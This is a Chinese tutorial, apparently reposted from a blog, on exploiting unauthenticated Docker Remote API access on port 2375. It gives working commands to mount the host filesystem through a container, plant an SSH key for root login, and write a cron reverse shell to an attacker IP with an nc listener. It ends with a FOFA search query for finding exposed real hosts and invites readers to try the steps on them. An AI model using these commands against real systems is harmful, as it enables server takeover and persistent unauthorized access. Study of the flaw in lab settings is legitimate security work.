码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Docker未授权访问漏洞详解


    目录

    Docker简介

    Docker未授权访问漏洞原理

    Docker未授权访问漏洞复现

    环境搭建

    漏洞利用

    写入密钥免密登录

    写入计划任务反弹shell

    fofa实战


    Docker简介

    Docker是一个开源的引擎,可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。

    Docker未授权访问漏洞原理

    又成Docker Remote API未授权访问漏洞,此API主要目的是取代命令行界面(赋有远程控制);Docker swarm是Docker下的分布化应用的本地集群,开放2375端口监听容器时会调用这个API,目的方便Docker集群管理和扩展。它绑定在0.0.0.0上,http会返回404page not found。

    因为Docker这个特性,如果Docker开放tcp端口2375,且没有限制访问,攻击者可以通过这个端口来获取服务器权限。

    Docker未授权访问漏洞复现

    环境搭建

    先说好,也可以使用vulhub环境搭建(docker/unauthorized-rce),但是这里为了更好的测试就使用docker搭建了。

    准备一台centos虚拟机,搭建下载好Docker。

    先进行文件备份

    cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

    对其文件进行编辑

    vim /lib/systemd/system/docker.service

    然后将下面一段代码加入文件结尾然后保存退出,作用就是开启docker的端口2375

    1. [Service]
    2. ExecStart=
    3. ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

    重新加载守护进程,以及重启docker

    1. sudo systemctl daemon-reload
    2. sudo service docker restart

    然后查看是否开放了远程访问端口2375

    systemctl status docker.service

    active即开启成功:

    漏洞利用

    使用攻击机访问192.168.122.1:2375/version,如果能成功访问,即说明存在未授权访问漏洞。(或者直接扫描端口发现)

    写入密钥免密登录

    1、使用images命令查询目标系统存在的镜像

    docker -H tcp://192.168.122.1:2375 images

    2、攻击机创建一个容器,并将宿主机的磁盘挂载到容器内

    docker -H tcp://192.168.122.1:2375 run -it -v /:/mnt 镜像ID /bin/bash

    3、如果目标机器上没有镜像就需要先pull一个镜像到目标机上

    docker -H tcp://192.168.122.1:2375 pull busybox

    4、生成一个ssh公钥

     ssh-keygen -t rsa 

    5、查看生成的公钥

     cat /root/.ssh/id_rsa.pub

    6、将公钥写入目标文件

    vi authorized_keys

    7、免密登录目标服务器

    ssh root@目标ip

    写入计划任务反弹shell

    写入计划任务,目录/var/spool/cron

    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.10/4444 0>&1

    然后攻击机监听4444端口,一分钟后就能够反弹shell。

    nc -lvnp 4444

    fofa实战

    可以在fofa搜索关键字port="2375"&&body="page not found"

    然后根据上面的步骤进行复现,这里没有找到可以利用的就不复现,原理操作都一样。可以自行尝试。

    参考文章:云安全笔记-Docker daemon api 未授权访问漏洞复现及利用-CSDN博客

  • 相关阅读:
    Linux多线程服务端编程:使用muduo C++网络库 学习笔记 第二章 线程同步精要
    (自我介绍范文)java面试自我介绍
    加强版python连接飞书通知——本地电脑PC端通过网页链接打开本地已安装软件(调用注册表形式,以漏洞扫描工具AppScan为例)
    尚硅谷springboot笔记
    知识图谱(6)基于KG构建问答系统
    SpringBoot-35-任务
    基于Java毕业设计智慧社区信息管理系统开发源码+系统+mysql+lw文档+部署软件
    MySQL入门
    springboot vue 部署至Rocky(Centos)并自启,本文部署是若依应用
    使用 CI/CD 进行语义发布
  • 原文地址:https://blog.csdn.net/m0_64481831/article/details/137470544
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号